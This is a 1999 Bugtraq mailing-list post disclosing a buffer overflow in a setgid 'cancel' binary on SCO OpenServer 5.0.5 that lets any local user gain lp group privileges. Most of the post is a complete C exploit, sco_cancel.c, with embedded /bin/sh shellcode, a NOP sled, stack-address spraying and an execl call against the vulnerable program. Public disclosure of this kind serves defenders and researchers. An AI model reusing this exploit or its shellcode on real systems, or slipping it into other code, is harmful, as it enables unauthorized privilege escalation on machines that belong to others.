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 Date: Вт, 12 окт 1999  13:08:28

   От: Brock Tellier <btellier@USA.NET>

 Кому: BUGTRAQ@SECURITYFOCUS.COM

 Тема: SCO OpenServer 5.0.5 cancel overflow

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Greetings,



OK, I lied about being done with my OpenServer audit.  I have a couple of

these left over, mostly because they weren't root-compromises.



There is an overflow in /opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel

which will allow any user to gain lp privs.  Note that this is NOT an overflow

in /usr/bin/cancel or /usr/lpd/remote/cancel.



scohack:/home/btellier$ l

/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel; l /usr/bin/cancel; l

/usr/lpd/remote/cancel;

---x--s--x   1 bin      lp         57472 Jan 28  1999

/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel

---x--s--x   1 bin      lp          2604 Feb 15  1999 /usr/bin/cancel@

-rws--s--x   1 root     daemon     27504 Jan 28  1999 /usr/lpd/remote/cancel@ 

   



It is equivalent to /usr/lpd/local/cancel, but both are only sgid lp.



Brock Tellier

UNIX Systems Administrator









--- sco_cancel.c ---



/**

 ** sco_cancel.c yields egid=18(lp)

 ** Tested on SCO 5.0.5+Skunkware98

 ** 

 ** Compile gcc -o sco_cancelx.c sco_cancelx.c 

 **

 ** Brock Tellier btellier@usa.net

 **       

 **/ 





#include <stdlib.h>

#include <stdio.h>



char scoshell[]= /* doble@iname.com */

"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"

"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"

"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";



                       

#define LEN 1500

#define NOP 0x90

                       

unsigned long get_sp(void) {



__asm__("movl %esp, %eax");



}





int main(int argc, char *argv[]) {



long int offset=0;



int i;

int buflen = LEN;

long int addr;

char buf[LEN];

 

 if(argc > 3) {

  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);

        exit(0); 

 }

 else if (argc == 2){

   offset=atoi(argv[1]);

   

 }

 else if (argc == 3) {

  offset=atoi(argv[1]);

  buflen=atoi(argv[2]); 

   

 }

 else {

   offset=600;

   buflen=1200;



 }

 



addr=get_sp();



fprintf(stderr, "\nSCO 5.0.5 cancel exploit yields egid=18(lp)\n");

fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");

fprintf(stderr, "Using addr: 0x%x\n", addr+offset);



memset(buf,NOP,buflen);

memcpy(buf+(buflen/2),scoshell,strlen(scoshell));

for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)

        *(int *)&buf[i]=addr+offset;



execl("/opt/K/SCO/Unix/5.0.5Eb/.softmgmt/var/usr/bin/cancel", "cancel", buf,

NULL);



exit(0);

}



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